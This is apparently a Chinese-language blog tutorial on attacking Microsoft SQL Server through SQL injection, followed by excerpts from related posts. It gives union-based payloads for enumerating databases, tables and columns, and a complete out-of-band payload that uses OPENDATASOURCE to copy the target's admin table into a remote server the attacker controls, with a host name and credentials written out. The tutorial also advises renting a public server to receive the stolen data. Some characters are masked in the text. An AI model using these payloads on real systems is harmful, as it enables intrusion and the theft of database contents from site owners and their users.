MSSQL隱碼攻擊 顯錯注入及反彈注入

2022-08-05 18:42:11 字數 1453 閱讀 8105

前言:

mssql注入攻擊是最為複雜的資料庫攻擊技術,由於該資料庫功能十分強大,儲存過程以及函式語句十分豐富,這些靈活的語句造就了新穎獨特的攻擊思路。

mssql的顯錯注入操作:

以聯合查詢為例:

猜欄位聯合查詢:union all

猜出輸出點使用null填充

註釋只有 --+、-- a 沒有#

查詢系統庫:select name,null,...... from dbo.sysdatabases 可以不用查庫名

查詢系統表:select name,null,...... from dbo.sysobjects where xtype='u' //u表示使用者建立表

查詢表中的欄位:select name,null,...... from dbo.syscolumns where id= 表名對應的id

mssql**注入:

mssql**注入的使用場景

命名是sql的注入點卻無法進行注入操作,注入工具猜解的速度異常緩慢,錯誤提示資訊關閉,無法返回注入結果等,這些都是在注入攻擊中常常遇到的問題。

為了解決以上這些疑難雜症,比較好的解決方法就是使用**注入技術,而**注入技術則需要依靠opendatasource函式支援。

環境的搭建:

我們前面說到,mssql注入 — **注入實際就是把查詢出來的資料傳送到我們的mssql伺服器上,那麼我們需要自己的mssql資料庫和一個公網ip。

香港雲( 隨便拿個郵箱然後註冊就行

香港雲如果失效:

資料庫聯結器:

**注入語句解析:

insert into opendatasource('sqloledb','server=sql5009.webweb.com,1433;uid=db_14a5e44_zkaq_admin;pwd=zkaqzkaq;database=db_14a5e44_zkaq').db_14a5e44_zkaq.dbo.temp select * from admin --

insert into 很明顯是插入語句 然後出現了個opendatasource。

opendatasource 為了方便理解,可以看理解為 ‘使用opendatasource函式將當前資料庫查詢的結果傳送到另一資料庫伺服器中。

語法:opendatasource(provider_name,init_string)

provider_name

註冊為用於訪問資料來源的ole db 提供程式的progid的名稱 mssql的名稱為sqloledb

init_string

連線字串

連線地址、埠、使用者名稱、密碼、資料庫名

server=連線地址,埠;uid=使用者名稱;pwd=密碼;database=資料庫名稱

連線上伺服器後選定資料表db_14a5e44_zkaq.dbo.temp 把後面語句的查詢結果插入到那個表裡面

mssql注入

判斷資料庫型別 and exists select from sysobjects 返回正常為mssql 也名sql server and exists select count from sysobjects 有時上面那個語句不行就試試這個哈 判斷資料庫版本 and 1 version 這個語句要...

Sql注入之Mssql

資料庫介紹 mssql資料庫是由微軟公司開發的,中小型資料庫,經常搭配asp使用。 資料庫許可權 判斷資料庫and exsits select from sysobjects 0許可權判斷and 1 select is srvrolemember sysadmin and 1 select is srv...

MSSQL隱碼攻擊 反彈注入

明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示資訊關閉,無法返回注入的結果,這個時候你便可以嘗試使用 注入, 注入需要依賴於函式opendatasource的支援,將當前資料庫中的查詢結果傳送到另一資料庫伺服器中。 and exists select from syso...